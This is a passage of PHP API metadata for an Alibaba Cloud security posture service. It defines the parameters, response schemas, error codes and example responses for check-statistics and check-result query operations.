'type' => 'string', 'example' => '1.2.XX.XX'."\n", ], 'Os' => [ 'description' => 'The version of the operating system that the host instance runs.'."\n", 'type' => 'string', 'example' => 'linux', ], 'Cores' => [ 'description' => 'The number of the CPU cores used by the host instance.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'VpcInstanceId' => [ 'description' => 'The ID of the VPC to which the host instance belongs.'."\n", 'type' => 'string', 'example' => 'vpc-uf60agqq65bs98zoo****'."\n", ], 'CheckShowName' => [ 'title' => '检查项展示名称', 'type' => 'string', 'example' => '开启公网访问', ], 'VendorShowName' => [ 'title' => '厂商名称', 'type' => 'string', 'example' => '阿里云', ], ], 'description' => '', ], 'title' => '检查项统计信息', ], 'StatisticType' => [ 'description' => 'The type of the statistics. Valid values:'."\n" ."\n" .'* **user**: the top five users that are granted excessive permissions.'."\n" .'* **role**: the top five roles that are granted excessive permissions.'."\n" .'* **instance**: the top five cloud services on which risks are detected.'."\n", 'type' => 'string', 'example' => 'instance', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\",\\n \\"CheckCountStatisticDTO\\": {\\n \\"CheckCountStatisticItems\\": [\\n {\\n \\"InstanceId\\": \\"i-wz9bpxyu6t74qn9g****\\",\\n \\"InstanceName\\": \\"launch-advisor-2021****\\",\\n \\"RiskCount\\": 22,\\n \\"Vendor\\": 0,\\n \\"InstanceType\\": 0,\\n \\"InstanceSubType\\": 0,\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"InstanceTypeName\\": \\"ECS\\",\\n \\"InstanceSubTypeName\\": \\"INSTANCE\\",\\n \\"Uuid\\": \\"c9107c04-942f-40c1-981a-f1c1****\\\\n\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\\\n\\",\\n \\"IntranetIp\\": \\"1.2.XX.XX\\\\n\\",\\n \\"Os\\": \\"linux\\",\\n \\"Cores\\": 2,\\n \\"VpcInstanceId\\": \\"vpc-uf60agqq65bs98zoo****\\\\n\\",\\n \\"CheckShowName\\": \\"开启公网访问\\",\\n \\"VendorShowName\\": \\"阿里云\\"\\n }\\n ],\\n \\"StatisticType\\": \\"instance\\"\\n }\\n}","type":"json"}]', 'title' => 'GetCheckCountStatistic', 'translator' => 'machine', ], 'GetCheckTimeDimensionStatistic' => [ 'summary' => 'Get time trend statistics data', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '203873', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'Vendors', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of cloud vendors.', 'type' => 'array', 'items' => [ 'description' => 'Cloud vendor. Values:'."\n" .'- **ALIYUN**: Alibaba Cloud'."\n" .'- **TENCENT**: Tencent Cloud'."\n" .'- **MICROSOFT**: Azure'."\n" .'- **AWS**: Amazon Web Services (AWS)', 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'StatisticType', 'in' => 'query', 'schema' => [ 'description' => 'Type of statistical data. Values:'."\n" .'- **CheckPassRate**: Check item pass rate.'."\n" .'- **AssetPassRate**: Asset pass rate.', 'type' => 'string', 'required' => false, 'example' => 'AssetPassRate', ], ], [ 'name' => 'StartTimeStamp', 'in' => 'query', 'schema' => [ 'description' => 'Start time, in timestamp format.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1672385044000', ], ], [ 'name' => 'EndTimeStamp', 'in' => 'query', 'schema' => [ 'description' => 'End time, in timestamp format.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1672285044000', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the current request, a unique identifier generated by Alibaba Cloud for this request, which can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6B****', ], 'TimeDimensionStatisticDTO' => [ 'description' => 'List of time trend statistical data results.', 'type' => 'object', 'properties' => [ 'TimeDimensionStatisticItems' => [ 'description' => 'Time trend statistical data results.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'DataTime' => [ 'description' => 'Data time, in timestamp format.', 'type' => 'integer', 'format' => 'int64', 'example' => '1712592000000', ], 'StatisticDatas' => [ 'description' => 'List of statistical data.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Data type.', 'type' => 'string', 'example' => 'COMPLIANCE_Pass', ], 'Value' => [ 'description' => 'Quantity.', 'type' => 'integer', 'format' => 'int32', 'example' => '194', ], ], ], ], ], ], ], 'StatisticType' => [ 'description' => 'Type of statistical data. Values:'."\n" .'- **CheckPassRate**: Check item pass rate.'."\n" .'- **AssetPassRate**: Asset pass rate.', 'type' => 'string', 'example' => 'CheckPassRate', ], 'Dates' => [ 'description' => 'List of data time points.', 'type' => 'array', 'items' => [ 'description' => 'Timestamp, in timestamp format.', 'type' => 'integer', 'format' => 'int64', 'example' => '[1712592000000]', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6B****\\",\\n \\"TimeDimensionStatisticDTO\\": {\\n \\"TimeDimensionStatisticItems\\": [\\n {\\n \\"DataTime\\": 1712592000000,\\n \\"StatisticDatas\\": [\\n {\\n \\"Name\\": \\"COMPLIANCE_Pass\\",\\n \\"Value\\": 194\\n }\\n ]\\n }\\n ],\\n \\"StatisticType\\": \\"CheckPassRate\\",\\n \\"Dates\\": [\\n 0\\n ]\\n }\\n}","type":"json"}]', 'title' => 'Get Time Trend Statistics for Cloud Security Posture Management Risk Items', 'translator' => 'machine', ], 'ListCheckInstanceResult' => [ 'summary' => 'Queries the instances that failed a specified check item of configuration assessment.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '119343', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '23', ], ], [ 'name' => 'Statuses', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The statuses of check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **PASS**'."\n" .'* **NOT_PASS**'."\n" .'* **CHECKING**'."\n" .'* **NOT_CHECK**'."\n" .'* **WHITELIST**'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'PASS', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'InstanceIdKey', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-uf64w4q6p9jti5gl****', ], ], [ 'name' => 'InstanceNameKey', 'in' => 'query', 'schema' => [ 'description' => 'The name of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-uf64w4q6p9jti5gl****'."\n", ], ], [ 'name' => 'RegionIdKey', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-qingdao', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Maximum value: 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '100', 'example' => '20', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The instance IDs of cloud services.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The instance ID of the cloud service.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-uf64w4q6p9jti5gl****', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'SortTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the conditions based on which the check items are sorted.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the condition based on which the check items are sorted. Set the value to **STATUS**.'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'STATUS', ], 'required' => false, 'maxItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListCheckInstanceResultResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3AB18264-8A1B-52A6-A9AF-A886556E0F2E', ], 'BasicData' => [ 'description' => 'The basic information about the affected instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The basic information about the instance.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the check result for the instance.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '300054', ], 'Status' => [ 'description' => 'The states of check items. Multiple states are separated with commas (,). Valid values:'."\n" ."\n" .'* **PASS**: passed'."\n" .'* **NOT_PASS**: failed'."\n" .'* **CHECKING**: being checked'."\n" .'* **NOT_CHECK**: not checked'."\n" .'* **WHITELIST**: added to the whitelist'."\n", 'type' => 'string', 'example' => 'NOT_PASS', ], 'RegionId' => [ 'description' => 'The region ID of the instance.'."\n", 'type' => 'string', 'example' => 'ap-southeast-1', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'rm-m5es7ch1s62i4****', ], 'InstanceName' => [ 'description' => 'The instance name of the server.'."\n", 'type' => 'string', 'example' => 'sg-t4nbk2aodzio52xv****', ], 'StatusMessage' => [ 'description' => 'The exception message of the check item.'."\n", 'type' => 'string', 'example' => 'Task is failed.', ], 'InstanceInfo' => [ 'description' => 'The information about the instance on which the check item is used.'."\n", 'type' => 'object', 'properties' => [ 'FirstUpdateTime' => [ 'description' => 'The time of the first check.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1716447535531', ], 'LastUpdateTime' => [ 'description' => 'The time of the last check.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1716447535531', ], 'Config' => [ 'description' => 'The information about the configuration item whose risks are fixed for the instance.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the configuration item, which is unique.'."\n", 'type' => 'string', 'example' => 'prot', ], 'Value' => [ 'description' => 'The value of the configuration item specified for the instance.'."\n", 'type' => 'string', 'example' => '8080', ], 'ShowName' => [ 'description' => 'The display name of the configuration item for internationalization.'."\n", 'type' => 'string', 'example' => 'prot', ], ], ], ], ], ], 'VendorUserName' => [ 'type' => 'string', 'description' => 'The multi-cloud provider account name.', 'example' => 'test', ], ], ], ], 'Columns' => [ 'description' => 'The metadata information about the search conditions that can be used to filter instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The metadata information about the search condition that can be used to filter instances.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the check result for the instance. Valid values:'."\n" ."\n" .'* **text**'."\n" .'* **link**'."\n", 'type' => 'string', 'example' => 'text', ], 'Key' => [ 'description' => 'The search condition.'."\n", 'type' => 'string', 'example' => 'RegionIdShow', ], 'ShowName' => [ 'description' => 'The display name of the search condition.'."\n", 'type' => 'string', 'example' => 'Region', ], 'Search' => [ 'description' => 'Indicates whether the search condition is used. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'enumValueTitles' => [], 'example' => 'true', ], 'SearchKey' => [ 'description' => 'The search key.'."\n", 'type' => 'string', 'example' => 'InstanceIdKey', ], 'Grids' => [ 'description' => 'The metadata information about the details of the instance.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The metadata information about each item in the details of the instances.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The format of the check result for the instance. Valid values:'."\n" ."\n" .'* **text**'."\n" .'* **link**'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'text', ], 'Key' => [ 'description' => 'The search condition.'."\n", 'type' => 'string', 'example' => 'RegionIdShow', ], 'ShowName' => [ 'description' => 'The display name of the search condition.'."\n", 'type' => 'string', 'example' => 'Region', ], ], ], ], ], ], ], 'Checks' => [ 'description' => 'The extended information about the instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The extended information about the instance.'."\n", 'type' => 'object', 'additionalProperties' => [ 'type' => 'any', 'description' => 'The information about the check item.'."\n", 'example' => '{'."\n" .' "InstanceIdShow": {'."\n" .' "link": "https://vpcnext.console.aliyun.com/vpc/cn-beijing/vpcs",'."\n" .' "value": "ngw-2zenx8j1lf5w8rcdhdqs5"'."\n" .' },'."\n" .' "RegionIdShow": {'."\n" .' "value": "China(Beijing)"'."\n" .' }'."\n" .' }', ], 'example' => '[{ "SecurityGroupNameShow": { "value": "Sas_Malicious_Ip_Security_Group" }, "InstanceIdShow": { "link": "https://ecs.console.aliyun.com/#/securityGroupDetail/region/ap-southeast-1/groupId/sg-t4nbk2aodzio52xvj00s/rule/intranetIngress", "value": "sg-t4nbk2aodzio52xv****" } }]', ], 'example' => '[{'."\n" .' "SecurityGroupNameShow": {'."\n" .' "value": "Sas_Malicious_Ip_Security_Group"'."\n" .' },'."\n" .' "InstanceIdShow": {'."\n" .' "link": "https://ecs.console.aliyun.com/#/securityGroupDetail/region/ap-southeast-1/groupId/sg-t4nbk2aodzio52xvj00s/rule/intranetIngress",'."\n" .' "value": "sg-t4nbk2aodzio52xv****"'."\n" .' }'."\n" .'}]', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'string', 'example' => '20', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3AB18264-8A1B-52A6-A9AF-A886556E0F2E\\",\\n \\"BasicData\\": [\\n {\\n \\"Id\\": 300054,\\n \\"Status\\": \\"NOT_PASS\\",\\n \\"RegionId\\": \\"ap-southeast-1\\",\\n \\"InstanceId\\": \\"rm-m5es7ch1s62i4****\\",\\n \\"InstanceName\\": \\"sg-t4nbk2aodzio52xv****\\",\\n \\"StatusMessage\\": \\"检查任务失败。\\",\\n \\"InstanceInfo\\": {\\n \\"FirstUpdateTime\\": 1716447535531,\\n \\"LastUpdateTime\\": 1716447535531,\\n \\"Config\\": [\\n {\\n \\"Name\\": \\"prot\\",\\n \\"Value\\": \\"8080\\",\\n \\"ShowName\\": \\"prot\\"\\n }\\n ]\\n },\\n \\"VendorUserName\\": \\"test\\"\\n }\\n ],\\n \\"Columns\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Key\\": \\"RegionIdShow\\",\\n \\"ShowName\\": \\"Region\\",\\n \\"Search\\": true,\\n \\"SearchKey\\": \\"InstanceIdKey\\",\\n \\"Grids\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Key\\": \\"RegionIdShow\\",\\n \\"ShowName\\": \\"Region\\"\\n }\\n ]\\n }\\n ],\\n \\"Checks\\": [\\n {\\n \\"key\\": \\"{\\\\n \\\\\\"InstanceIdShow\\\\\\": {\\\\n \\\\\\"link\\\\\\": \\\\\\"https://vpcnext.console.aliyun.com/vpc/cn-beijing/vpcs\\\\\\",\\\\n \\\\\\"value\\\\\\": \\\\\\"ngw-2zenx8j1lf5w8rcdhdqs5\\\\\\"\\\\n },\\\\n \\\\\\"RegionIdShow\\\\\\": {\\\\n \\\\\\"value\\\\\\": \\\\\\"China(Beijing)\\\\\\"\\\\n }\\\\n }\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": \\"20\\"\\n }\\n}","type":"json"}]', 'title' => 'ListCheckInstanceResult', ], 'ListCheckResult' => [ 'summary' => 'Queries the details of the risk items that are detected in the configuration checks on cloud services.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '119337', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'StandardIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The standard IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The standard ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'RequirementIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the requirements.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the requirement.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'Statuses', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The statuses of check items. Separate multiple statuses with commas (,). Valid values:'."\n" ."\n" .'* **PASS**'."\n" .'* **NOT_PASS**'."\n" .'* **CHECKING**'."\n" .'* **NOT_CHECK**'."\n" .'* **WHITELIST**'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statuses of check items. Separate multiple states with commas (,). Valid values:'."\n" ."\n" .'* **PASS**'."\n" .'* **NOT_PASS**'."\n" .'* **CHECKING**'."\n" .'* **NOT_CHECK**'."\n" .'* **WHITELIST**'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'PASS', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'RiskLevels', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The risk levels of check items. Separate multiple risk levels with commas (,). Valid values:'."\n" ."\n" .'* **HIGH**'."\n" .'* **MEDIUM**'."\n" .'* **LOW**'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk levels of check items. Separate multiple risk levels with commas (,). Valid values:'."\n" ."\n" .'* **HIGH**'."\n" .'* **MEDIUM**'."\n" .'* **LOW**'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'HIGH', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Vendors', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The cloud service providers. Valid values:'."\n" ."\n" .'* **ALIYUN**: Alibaba Cloud'."\n" .'* **TENCENT**: Tencent Cloud'."\n" .'* **AWS**: Amazon Web Services (AWS)'."\n" .'* **MICROSOFT**: Microsoft Azure'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **ALIYUN**: Alibaba Cloud'."\n" .'* **TENCENT**: Tencent Cloud'."\n" .'* **AWS**: AWS'."\n" .'* **MICROSOFT**: Microsoft Azure'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'ALIYUN', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'InstanceTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The asset type of the cloud services. Valid values:'."\n" ."\n" .'* **ECS**: Elastic Compute Service (ECS)'."\n" .'* **SLB**: Server Load Balancer (SLB)'."\n" .'* **RDS**: ApsaraDB RDS'."\n" .'* **MONGODB**: ApsaraDB for MongoDB (MongoDB)'."\n" .'* **KVSTORE**: ApsaraDB for Redis (Redis)'."\n" .'* **ACR**: Container Registry'."\n" .'* **CSK**: Container Service for Kubernetes (ACK)'."\n" .'* **VPC**: Virtual Private Cloud (VPC)'."\n" .'* **ACTIONTRAIL**: ActionTrail'."\n" .'* **CDN**: Alibaba Cloud CDN (CDN)'."\n" .'* **CAS**: Certificate Management Service (formerly SSL Certificates Service)'."\n" .'* **RDC**: Apsara Devops'."\n" .'* **RAM**: Resource Access Management (RAM)'."\n" .'* **DDOS**: Anti-DDoS'."\n" .'* **WAF**: Web Application Firewall (WAF)'."\n" .'* **OSS**: Object Storage Service (OSS)'."\n" .'* **POLARDB**: PolarDB'."\n" .'* **POSTGRESQL**: ApsaraDB RDS for PostgreSQL'."\n" .'* **MSE**: Microservices Engine (MSE)'."\n" .'* **NAS**: File Storage NAS (NAS)'."\n" .'* **SDDP**: Sensitive Data Discovery and Protection (SDDP)'."\n" .'* **EIP**: Elastic IP Address (EIP)', 'type' => 'array', 'items' => [ 'description' => 'The asset type of the cloud service. Valid values:'."\n" ."\n" .'* **ECS**: ECS'."\n" .'* **SLB**: SLB'."\n" .'* **RDS**: ApsaraDB RDS'."\n" .'* **MONGODB**: MongoDB'."\n" .'* **KVSTORE**: Redis'."\n" .'* **ACR**: Container Registry'."\n" .'* **CSK**: ACK'."\n" .'* **VPC**: VPC'."\n" .'* **ACTIONTRAIL**: ActionTrail'."\n" .'* **CDN**: CDN'."\n" .'* **CAS**: Certificate Management Service (formerly SSL Certificates Service)'."\n" .'* **RDC**: Apsara Devops'."\n" .'* **RAM**: RAM'."\n" .'* **DDOS**: Anti-DDoS'."\n" .'* **WAF**: WAF'."\n" .'* **OSS**: OSS'."\n" .'* **POLARDB**: PolarDB'."\n" .'* **POSTGRESQL**: ApsaraDB RDS for PostgreSQL'."\n" .'* **MSE**: MSE'."\n" .'* **NAS**: NAS'."\n" .'* **SDDP**: SDDP'."\n" .'* **EIP**: EIP'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'ECS', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'CheckKey', 'in' => 'query', 'schema' => [ 'description' => 'The key that you want to use to search for check items in fuzzy match mode.'."\n", 'type' => 'string', 'required' => false, 'example' => 'OSS', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Maximum value: 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '100', 'example' => '50', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The instance IDs of the cloud services that you want to query. Separate multiple IDs with commas (,).'."\n", 'type' => 'array', 'items' => [ 'description' => 'The instance IDs of the cloud services that you want to query. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-bp1du66x6w07z4yya****', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'SortTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the conditions based on which check items are sorted. Valid values:'."\n" ."\n" .'* **RISK_LEVEL**: risk level'."\n" .'* **STATUS**: status'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the condition based on which check items are sorted. Valid values:'."\n" ."\n" .'* **RISK_LEVEL**: risk level'."\n" .'* **STATUS**: status'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'STATUS', ], 'required' => false, 'maxItems' => 1, ], ], [ 'name' => 'Types', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of check standards.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the check standard. Valid values:'."\n" ."\n" .'* **RISK**: Alibaba Cloud best security practices'."\n" .'* **COMPLIANCE**: Center for Internet Security (CIS) compliance'."\n" .'* **IDENTITY_PERMISSION**: identity and permission management'."\n", 'type' => 'string', 'required' => false, 'example' => 'RISK', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the instance. Valid values:'."\n" ."\n" .'* **cn-hangzhou**: International'."\n" .'* **ap-southeast-1**: Singapore'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'CustomParam', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the check item supports custom parameters. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '358', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'OperationTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Specifies whether fixing is supported. Valid values:'."\n" ."\n" .'* **SUPPORT_REPAIR**'."\n" .'* **NOT_SUPPORT_REPAIR**'."\n", 'type' => 'array', 'items' => [ 'description' => 'Specifies whether fixing is supported. Valid values:'."\n" ."\n" .'* **SUPPORT_REPAIR**'."\n" .'* **NOT_SUPPORT_REPAIR**'."\n", 'type' => 'string', 'required' => false, 'example' => 'SUPPORT_REPAIR', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'CheckTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Source type of the situation awareness check item.', 'type' => 'array', 'items' => [ 'description' => 'The source type of the Situation Awareness check item: '."\n" .'- **CUSTOM**: User-defined '."\n" .'- **SYSTEM**: Predefined by the Situation Awareness platform', 'type' => 'string', 'required' => false, 'example' => 'SYSTEM', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Delete the custom category in a custom inspection item.', 'type' => 'array', 'items' => [ 'description' => 'Task source. The value can be: '."\n" .'- **YAO_CHI**: YaoChi.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'type' => 'integer', 'format' => 'int64', 'required' => false, 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListCheckResultResponse', 'description' => 'ListCheckResultResponse'."\n", 'type' => 'object', 'properties' => [ 'Checks' => [ 'description' => 'The check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The check result.'."\n", 'type' => 'object', 'properties' => [ 'CheckPolicies' => [ 'description' => 'The check policies.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the standards, requirement items, and sections that are associated with the check result.'."\n", 'type' => 'object', 'properties' => [ 'StandardId' => [ 'description' => 'The standard ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'StandardShowName' => [ 'description' => 'The standard display name of the check item.'."\n", 'type' => 'string', 'example' => 'Best security practices', ], 'RequirementId' => [ 'description' => 'The ID of the requirement item for the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], 'RequirementShowName' => [ 'description' => 'The display name of the requirement item for the check item.'."\n", 'type' => 'string', 'example' => 'Alibaba cloud OSS best security practices', ], 'SectionId' => [ 'description' => 'The ID of the section for the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], 'SectionShowName' => [ 'description' => 'The display name of the section for the check 